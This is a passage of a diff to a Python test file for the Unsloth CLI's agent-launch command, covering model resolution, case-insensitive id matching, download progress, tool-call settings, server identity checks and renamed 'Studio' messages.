     assert (home / "unsloth_api.config.toml").exists()
 
 
+def test_connect_codex_as_subagent_preserves_cloud_parent(fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "codex",
+            "--as-subagent",
+            "--no-launch",
+            "--model",
+            MODEL["id"] + ":UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[0] == "codex"
+    assert command[1:3] == ["--enable", "multi_agent"]
+    assert "agents.max_depth=1" in command
+    assert "--oss" not in command
+    assert "--profile" not in command
+    assert "--model" not in command
+    assert "CODEX_HOME" not in result.output
+    assert start._CODEX_ENV_KEY not in result.output
+    assert "sk-unsloth-feedfacefeedface" not in result.output
+    home = tmp_path / "agents" / "codex-subagent"
+    agent_path = home / "unsloth.toml"
+    agent = _parse_toml(agent_path.read_text())
+    assert agent["model"] == MODEL["id"] + ":UD-Q4_K_XL"
+    assert "env_key" not in agent["model_providers"][start._CODEX_PROFILE]
+    assert f"agents.unsloth.config_file={json.dumps(str(agent_path))}" in command
+    assert "Ask Codex to spawn an Unsloth or local agent." in result.output
+
+
+def test_connect_codex_matches_requested_model_case_insensitively(fake_studio, tmp_path):
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "codex",
+            "--no-launch",
+            "--model",
+            "unsloth/gemma-4-26b-a4b-it-gguf",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "codex"
+    profile = _parse_toml((home / "unsloth_api.config.toml").read_text())
+    assert profile["model"] == MODEL["id"]
+
+
+def test_resolve_model_matches_loaded_canonical_case_after_load(monkeypatch, capsys):
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/gemma-4-E2B-it-GGUF" if state["loaded"] else "other/model",
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/gemma-4-E2B-it-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(
+        BASE,
+        "sk-test",
+        "unsloth/gemma-4-e2b-it-gguf",
+        start.LoadOptions(gguf_variant = "UD-Q4_K_XL"),
+    )
+
+    assert entry["id"] == "unsloth/gemma-4-E2B-it-GGUF"
+    assert any(c[1].endswith("/api/inference/load") for c in calls)
+    output = capsys.readouterr().out
+    assert "please wait" not in output
+
+
+def test_resolve_model_loads_when_catalog_hit_is_not_loaded(monkeypatch):
+    # A cached-but-unloaded catalog entry (loaded == False) that only case-differs must
+    # not be treated as ready; the load endpoint must still be called so the requested
+    # model becomes resident instead of the agent preflighting a different backend.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/Gemma-4-GGUF",
+                        "loaded": state["loaded"],
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_does_not_attach_if_catalog_stays_unloaded(monkeypatch):
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/Gemma-4-GGUF",
+                        "loaded": False,
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            return {"status": "loaded", "model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    with pytest.raises(typer.Exit):
+        start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+
+def test_resolve_model_attaches_to_loaded_catalog_hit_without_reload(monkeypatch):
+    # The mirror case: a loaded entry (loaded == True) that case-matches attaches with
+    # no /api/inference/load call.
+    calls = []
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert not any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_without_request_rejects_unloaded_catalog(monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda *a, **k: {
+            "data": [
+                {
+                    "id": "unsloth/Gemma-4-GGUF",
+                    "loaded": False,
+                    "context_length": 131072,
+                }
+            ]
+        },
+    )
+
+    with pytest.raises(typer.Exit):
+        start._resolve_model(BASE, "sk-test", None)
+
+
+def test_resolve_model_remote_studio_does_not_casefold_attach(monkeypatch):
+    # Against a remote Unsloth the local existence probe cannot see server-side paths,
+    # so a case-variant loaded id must NOT attach without a load: it could be a distinct
+    # server-side path on a case-sensitive host. The load endpoint resolves the request.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model("http://10.0.0.5:8888", "sk-test", "unsloth/gemma-4-gguf")
+
+    # The load endpoint was consulted (no casefold shortcut), and we still attach to the
+    # server's canonical id it reports back.
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_model_id_matching_does_not_casefold_local_paths(tmp_path):
+    existing_local = tmp_path / "Org" / "Foo"
+    existing_local.mkdir(parents = True)
+
+    assert start._model_id_matches("Org/Foo", "org/foo")
+    assert not start._model_id_matches(str(existing_local), str(existing_local).lower())
+    assert not start._model_id_matches("./Models/Foo", "./models/foo")
+    assert not start._model_id_matches(r".\Models\Foo", r".\models\foo")
+    # A server-side relative path (extra path segments) is not a hub id even when it
+    # does not exist on the CLI host, so it must not casefold-match a differently
+    # cased path on a case-sensitive server filesystem.
+    assert not start._is_hub_model_id("models/Llama/Foo.gguf")
+    assert not start._model_id_matches("models/Llama/Foo.gguf", "models/llama/foo.gguf")
+    # A genuine two-segment hub id still matches case-insensitively.
+    assert start._is_hub_model_id("unsloth/Gemma-3-4b-it-GGUF")
+    assert start._model_id_matches("unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf")
+    # Casefolding is gated to loopback studios (allow_casefold). With it disabled (a
+    # remote studio, where a two-segment string could be a server-side path), even a
+    # genuine hub-id case variant must not match, so the load endpoint resolves it.
+    assert not start._model_id_matches(
+        "unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf", allow_casefold = False
+    )
+    assert start._model_id_matches("unsloth/Foo", "unsloth/Foo", allow_casefold = False)
+
+
 def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch):
     # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after
     # the agent exits; the user's real ~/.codex is never the target.
@@ -392,7 +1284,7 @@ def test_no_launch_output_is_parseable(fake_studio):
     result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
     assert result.exit_code == 0, result.output
     lines = [ln for ln in result.output.splitlines() if ln.strip()]
-    skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading")
+    skip = ("export ", "unset ", "Unsloth ", "Updated ", "Disabled ", "Warning", "Loading")
     body = [ln for ln in lines if not ln.startswith(skip)]
     assert "codex --oss --profile unsloth_api" in body[-1]
     assert any(ln.startswith("export CODEX_HOME=") for ln in lines)
@@ -421,7 +1313,7 @@ def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path):
 
 def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio):
     # The unset vars must be neutralized inline too, or a partial copy would send the
-    # user's own ANTHROPIC_API_KEY to the Studio base.
+    # user's own ANTHROPIC_API_KEY to the Unsloth base.
     result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
     assert result.exit_code == 0, result.output
     last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
@@ -435,27 +1327,26 @@ def test_opencode_inline_config_beats_project_config(fake_studio):
     # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config.
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"])
     assert result.exit_code == 0, result.output
-    content_line = next(
-        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
-    )
-    inline = json.loads(
-        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
-    )
-    assert inline["model"] == f"unsloth/{MODEL['id']}"
-    assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
-    assert "sk-unsloth" not in content_line  # key stays in the private file
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    assert inline["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+    assert "sk-unsloth" not in result.output  # key stays in the private file, not the env
 
 
-def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio):
+def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
+    # A non-yolo session carries no permission inline. OPENCODE_CONFIG_CONTENT outranks the
+    # project opencode.json we cannot read, so forcing any value there would override the
+    # user's project rules; clearing our own config is the fix, and the inline pins the model.
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
-    content_line = next(
-        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
-    )
-    inline = json.loads(
-        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
-    )
-    assert inline == {"model": f"unsloth/{MODEL['id']}"}
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    assert "permission" not in inline
 
 
 def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
@@ -469,7 +1360,7 @@ def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
     )
     result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
     assert result.exit_code == 1
-    assert "No running Studio server" in result.output
+    assert "No running Unsloth server" in result.output
     assert started["called"] is False
 
 
@@ -584,6 +1475,9 @@ def test_connect_model_flag_loads_on_server(fake_studio):
     assert loads == [
         ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
     ]
+    assert result.output.index(
+        f"Switching the Unsloth server from {MODEL['id']} to unsloth/Qwen3.5-35B-A3B.\n"
+    ) < result.output.index("This unloads the current model for every attached session.\n")
     _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
 
 
@@ -622,7 +1516,7 @@ def test_connect_model_flag_forwards_load_options(fake_studio):
 
 
 def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
-    # Studio registers a loaded model under a canonical id (resolved identifier
+    # Unsloth registers a loaded model under a canonical id (resolved identifier
     # / casing) that can differ from the path we passed. The agent must connect
     # to that model, not silently fall through to the first loaded one.
     requested = "Unsloth/Qwen3.5-35B-A3B"
@@ -667,6 +1561,211 @@ def test_split_repo_variant(model, expected):
     assert start._split_repo_variant(model) == expected
 
 
+@pytest.mark.parametrize(
+    "token, expected",
+    [
+        ("unsloth/gemma-4-E2B-it-GGUF", True),
+        ("unsloth/gemma-4-E2B-it-GGUF:UD-Q4_K_XL", True),
+        ("some-org/model.name_1", True),
+        ("--continue", False),  # flag
+        ("resume", False),  # single word, no slash
+        ("/models/local.gguf", False),  # absolute path
+        ("./rel.gguf", False),  # relative path
+        ("C:\\models\\x.gguf", False),  # Windows drive
+        ("my models/foo", False),  # has a space
+        ("owner/repo/extra", False),  # too many segments
+    ],
+)
+def test_looks_like_model(token, expected):
+    assert start._looks_like_model(token) is expected
+
+
+def test_consume_positional_model_leading_token():
+    # A leading org/name positional routes to --model and is dropped from the passthrough.
+    model, rest = start._consume_positional_model(None, ["unsloth/Model-GGUF", "--continue"])
+    assert model == "unsloth/Model-GGUF"
+    assert rest == ["--continue"]
+
+
+def test_looks_like_model_leaves_existing_local_dir_for_agent(tmp_path, monkeypatch):
+    # A relative `owner/repo` that actually exists (e.g. an OpenCode project dir) must
+    # stay an agent argument, not be consumed as a model.
+    monkeypatch.chdir(tmp_path)
+    (tmp_path / "owner" / "repo").mkdir(parents = True)
+    assert start._looks_like_model("owner/repo") is False
+    model, rest = start._consume_positional_model(None, ["owner/repo"])
+    assert model is None and rest == ["owner/repo"]
+    # The same shape, when it does not exist locally, is still treated as a model.
+    assert start._looks_like_model("owner/absent-repo") is True
+
+
+def test_consume_positional_model_ignores_non_leading_and_explicit_model():
+    # An org/name that is an option value (not leading) is never stolen.
+    model, rest = start._consume_positional_model(None, ["--profile", "owner/repo"])
+    assert model is None and rest == ["--profile", "owner/repo"]
+    # An explicit --model always wins; the positional is left untouched.
+    model, rest = start._consume_positional_model("explicit/model", ["owner/repo"])
+    assert model == "explicit/model" and rest == ["owner/repo"]
+
+
+def test_start_separator_preserves_model_shaped_agent_argument(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["codex", "--no-launch", "--", "owner/repo"],
+    )
+
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[-2:] == ["--", "owner/repo"]
+
+    result = CliRunner().invoke(
+        start.start_app,
+        ["codex", "--no-launch", MODEL["id"], "--", "--continue"],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[-2:] == ["--", "--continue"]
+
+
+def test_start_positional_model_routes_to_model_on_auto_serve(fake_studio, monkeypatch):
+    # `unsloth start claude unsloth/Model-GGUF` (no --model): the positional becomes the
+    # model; the GGUF variant is left unset so the server's own quant preference selects it.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    captured = {}
+    fake = SimpleNamespace(pid = 1, poll = lambda: None)
+
+    def fake_start(
+        base,
+        model,
+        load,
+        server_options = None,
+    ):
+        captured["model"] = model
+        captured["load"] = load
+        captured["server_options"] = server_options
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", lambda server: None)
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(start.start_app, ["claude", "unsloth/gemma-4-E2B-it-GGUF"])
+    assert result.exit_code == 0, result.output
+    assert captured["model"] == "unsloth/gemma-4-E2B-it-GGUF"
+    assert captured["load"].gguf_variant is None
+
+
+def test_start_local_gguf_path_keeps_no_default_variant(fake_studio, monkeypatch, tmp_path):
+    # A local GGUF dir/path ending in -GGUF must NOT get a forced default quant: the dir
+    # may only hold a different quant, and pre-PR the server picked whatever was available.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    local = tmp_path / "Qwen3-1.7B-GGUF"
+    local.mkdir()
+    captured = {}
+    fake = SimpleNamespace(pid = 1, poll = lambda: None)
+
+    def fake_start(
+        base,
+        model,
+        load,
+        server_options = None,
+    ):
+        captured["load"] = load
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", lambda server: None)
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", str(local)])
+    assert result.exit_code == 0, result.output
+    assert captured["load"].gguf_variant is None
+
+
+def test_start_studio_server_forwards_tool_flags_via_command_and_env(monkeypatch):
+    captured = {}
+
+    class FakePopen:
+        def __init__(self, command, **kwargs):
+            captured["command"] = command
+            captured["kwargs"] = kwargs
+            self.pid = 1
+
+        def poll(self):
+            return None
+
+    monkeypatch.setattr(start.subprocess, "Popen", FakePopen)
+    monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True)
+    monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-x")
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+    # No inherited kill switches, so the omitted-flag default applies.
+    monkeypatch.delenv("UNSLOTH_DISABLE_TOOL_CALL_HEALING", raising = False)
+    monkeypatch.delenv("UNSLOTH_TOOL_CALL_NUDGE", raising = False)
+
+    # Default start: tools off (passthrough), healing + nudging on.
+    start._start_studio_server("http://127.0.0.1:8888", "unsloth/M-GGUF", start.LoadOptions())
+    cmd, env = captured["command"], captured["kwargs"]["env"]
+    assert "--disable-tools" in cmd and "--enable-tools" not in cmd
+    assert env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "0"
+    assert env["UNSLOTH_TOOL_CALL_NUDGE"] == "1"
+
+    # Flipped: tools on, healing off, nudging off.
+    start._start_studio_server(
+        "http://127.0.0.1:8888",
+        "unsloth/M-GGUF",
+        start.LoadOptions(),
+        start.ServerOptions(enable_tools = True, tool_call_healing = False, tool_call_nudging = False),
+    )
+    cmd, env = captured["command"], captured["kwargs"]["env"]
+    assert "--enable-tools" in cmd and "--disable-tools" not in cmd
+    assert env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "1"
+    assert env["UNSLOTH_TOOL_CALL_NUDGE"] == "0"
+
+
+def test_start_studio_server_respects_inherited_tool_call_env(monkeypatch):
+    # With the flags omitted, an operator's pre-exported kill switch must survive into the
+    # child server instead of being overwritten with the start defaults.
+    captured = {}
+
+    class FakePopen:
+        def __init__(self, command, **kwargs):
+            captured["kwargs"] = kwargs
+            self.pid = 1
+
+        def poll(self):
+            return None
+
+    monkeypatch.setattr(start.subprocess, "Popen", FakePopen)
+    monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True)
+    monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-x")
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+    monkeypatch.setenv("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "1")
+    monkeypatch.setenv("UNSLOTH_TOOL_CALL_NUDGE", "0")
+
+    # Flags omitted -> inherited values are preserved.
+    start._start_studio_server("http://127.0.0.1:8888", "unsloth/M-GGUF", start.LoadOptions())
+    env = captured["kwargs"]["env"]
+    assert env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "1"
+    assert env["UNSLOTH_TOOL_CALL_NUDGE"] == "0"
+
+    # An explicit flag still overrides the inherited env.
+    start._start_studio_server(
+        "http://127.0.0.1:8888",
+        "unsloth/M-GGUF",
+        start.LoadOptions(),
+        start.ServerOptions(tool_call_healing = True, tool_call_nudging = True),
+    )
+    env = captured["kwargs"]["env"]
+    assert env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "0"
+    assert env["UNSLOTH_TOOL_CALL_NUDGE"] == "1"
+
+
 def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio):
     # A bare `--model <loaded repo>` (no load knobs) attaches to the already-loaded model
     # without touching /api/inference/load, so it can never evict another session.
@@ -674,12 +1773,13 @@ def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio):
     assert result.exit_code == 0, result.output
     loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
     assert loads == []
+    assert f"Reusing loaded model: {MODEL['id']}\n" in result.output
     _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
 
 
 def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio):
     # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant),
-    # never the `:`-suffixed repo id Studio rejects. The variant knob defers to
+    # never the `:`-suffixed repo id Unsloth rejects. The variant knob defers to
     # /api/inference/load, whose already-loaded dedup answers without reloading when the
     # active variant+settings match -- so a second session running the same command
     # attaches without evicting the first, while a genuinely different quant reloads.
@@ -695,6 +1795,7 @@ def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio):
             {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"},
         )
     ]
+    assert f"Reusing loaded model: {MODEL['id']}:UD-Q4_K_XL\n" in result.output
     _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
 
 
@@ -771,7 +1872,7 @@ def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
 
 
 def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
-    # Studio never surfaces the requested model; fail loudly rather than
+    # Unsloth never surfaces the requested model; fail loudly rather than
     # silently connecting to whatever else happens to be loaded.
     inner = start._http_json
 
@@ -842,7 +1943,7 @@ def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
 
 
 def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
-    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
+    # A key saved for a remote (non-loopback) Unsloth is replayed on keyless runs;
     # auto-minting stays blocked for non-loopback.
     remote = "http://studio.example:8888"
     monkeypatch.setattr(start, "find_studio_server", lambda: remote)
@@ -856,7 +1957,7 @@ def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatc
 
 
 def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
-    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
+    # A user who pointed UNSLOTH_STUDIO_URL at a remote Unsloth should get an
     # error, not a silent local model load (which they did not ask for).
     import typer
 
@@ -897,7 +1998,7 @@ def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
 
 
 def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
+    # A "saved" key (e.g. for an SSH-tunnelled Unsloth the handshake can't match)
     # replays on keyless runs without the handshake, scoped to its own base.
     cache = tmp_path / "agent_api_key.json"
     cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
@@ -1013,7 +2114,7 @@ def _serve_redirect(target):
 
 
 def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
-    # A squatter could 302 /api/auth/identity to the real Studio and relay its
+    # A squatter could 302 /api/auth/identity to the real Unsloth and relay its
     # proof; redirects must be refused so the squatter's base isn't accepted.
     import unsloth_cli._inference as inference
 
@@ -1039,7 +2140,7 @@ def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
 
 
 def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
-    # A squatter that proxies the nonce to the real Studio on another port gets a
+    # A squatter that proxies the nonce to the real Unsloth on another port gets a
     # proof bound to *that* port; the client expects one bound to the port it
     # connected to, so the relayed proof is rejected.
     import unsloth_cli._inference as inference
@@ -1090,7 +2191,7 @@ def test_connect_no_studio_errors(fake_studio, monkeypatch):
     monkeypatch.setattr(start, "find_studio_server", lambda: None)
     result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
     assert result.exit_code == 1
-    assert "No running Studio server" in result.output
+    assert "No running Unsloth server" in result.output
 
 
 @pytest.fixture(autouse = True)
@@ -1101,8 +2202,9 @@ def _reset_auto_served():
     start._auto_served_server = None
 
 
-def test_start_studio_server_builds_command_and_waits(monkeypatch):
+def test_start_studio_server_builds_command_and_waits(monkeypatch, capsys):
     captured = {}
+    monkeypatch.setenv(start._START_API_KEY_MARKER_ENV, "parent")
 
     class FakePopen:
         def __init__(self, command, **kwargs):
@@ -1132,18 +2234,210 @@ def test_start_studio_server_builds_command_and_waits(monkeypatch):
     assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL"
     assert cmd[cmd.index("--context-length") + 1] == "8192"
     assert "--tensor-parallel" in cmd
+    assert "--start-api-key-marker" not in cmd
+    assert captured["kwargs"]["env"][start._START_API_KEY_MARKER_ENV] == "1"
+    assert start.os.environ[start._START_API_KEY_MARKER_ENV] == "parent"
     assert cmd[cmd.index("-p") + 1] == "8888"
     assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd
     assert captured["kwargs"].get("start_new_session") is True  # own process group
     assert server.pid == 4321
+    output = capsys.readouterr().out
+    assert "Starting Unsloth server\n" in output
+    assert "Model: unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL\n" in output
+    assert "No Unsloth server at" not in output
+    assert "server ready" not in output
 
 
-def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch):
+def test_start_studio_server_polls_progress_from_early_key(monkeypatch):
+    class FakePopen:
+        pid = 4321
+
+        def poll(self):
+            return None
+
+    tails = iter(
+        [
+            "UNSLOTH_START_API_KEY: sk-unsloth-early\nLoading model...",
+            "UNSLOTH_START_API_KEY: sk-unsloth-early\nModel loaded: owner/model",
+        ]
+    )
+    created = []
+
+    class FakeProgress:
+        def __init__(self, base, key, model, variant):
+            created.append((base, key, model, variant, "created"))
+
+        def poll(self):
+            created.append("poll")
+
+        def close(self):
+            created.append("close")
+
+        def complete(self):
+            created.append("complete")
+
+    monkeypatch.setattr(start.subprocess, "Popen", lambda *a, **k: FakePopen())
+    monkeypatch.setattr(start, "_studio_healthy", lambda *a, **k: True)
+    monkeypatch.setattr(start, "_log_tail", lambda *a, **k: next(tails))
+    monkeypatch.setattr(start, "_ModelDownloadProgress", FakeProgress)
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+    monkeypatch.setattr(
+        start.typer,
+        "echo",
+        lambda message = "", **_kwargs: created.append(("echo", message)),
+    )
+
+    server = start._start_studio_server(
+        BASE,
+        "owner/model-GGUF",
+        start.LoadOptions(gguf_variant = "Q4_K_M"),
+    )
+
+    assert server.pid == 4321
+    assert (BASE, "sk-unsloth-early", "owner/model-GGUF", "Q4_K_M", "created") in created
+    assert created.count("poll") == 2
+    assert created[-2:] == ["complete", "close"]
+    assert not any(isinstance(event, tuple) and "server ready" in event[-1] for event in created)
+
+
+def test_load_model_with_progress_uses_selected_gguf_size(monkeypatch, capsys):
+    release = start.threading.Event()
+    calls = []
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/api/inference/load"):
+            assert release.wait(timeout = 2)
+            return {"model": "owner/model-GGUF"}
+        if "/api/hub/gguf-variants?" in url:
+            return {
+                "default_variant": "Q8_0",
+                "variants": [
+                    {
+                        "quant": "UD-Q4_K_XL",
+                        "filename": "model-UD-Q4_K_XL.gguf",
+                        "size_bytes": 4 * 1024**3,
+                        "download_size_bytes": 4 * 1024**3,
+                    }
+                ],
+            }
+        if "/api/hub/gguf-download-progress?" in url:
+            release.set()
+            return {
+                "downloaded_bytes": 2 * 1024**3,
+                "expected_bytes": 4 * 1024**3,
+                "progress": 0.5,
+            }
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    monkeypatch.setattr(start, "_DOWNLOAD_POLL_INTERVAL_S", 0.001)
+    result = start._load_model_with_progress(
+        BASE,
+        "sk-test",
+        "owner/model-GGUF",
+        start.LoadOptions(gguf_variant = "UD-Q4_K_XL"),
+        {"model_path": "owner/model-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+    )
+
+    assert result == {"model": "owner/model-GGUF"}
+    output = capsys.readouterr().out
+    assert "Downloading model" in output
+    assert "100%" in output
+    progress_url = next(url for method, url, _ in calls if "gguf-download-progress" in url)
+    assert "variant=UD-Q4_K_XL" in progress_url
+    assert f"expected_bytes={4 * 1024**3}" in progress_url
+
+
+def test_download_progress_ignores_fully_cached_bytes(capsys):
+    display = start._DownloadProgressDisplay()
+    display.update(
+        {
+            "downloaded_bytes": 4 * 1024**3,
+            "completed_bytes": 4 * 1024**3,
+            "expected_bytes": 4 * 1024**3,
+            "progress": 0.99,
+        }
+    )
+    display.close()
+
+    assert capsys.readouterr().out == ""
+
+
+def test_resolve_model_warns_on_same_repo_quant_switch(monkeypatch, capsys):
+    models = [{"id": "owner/model-GGUF", "loaded": True}]
+
+    def http_json(
+        method,
+        url,
+        key,
+        payload = None,
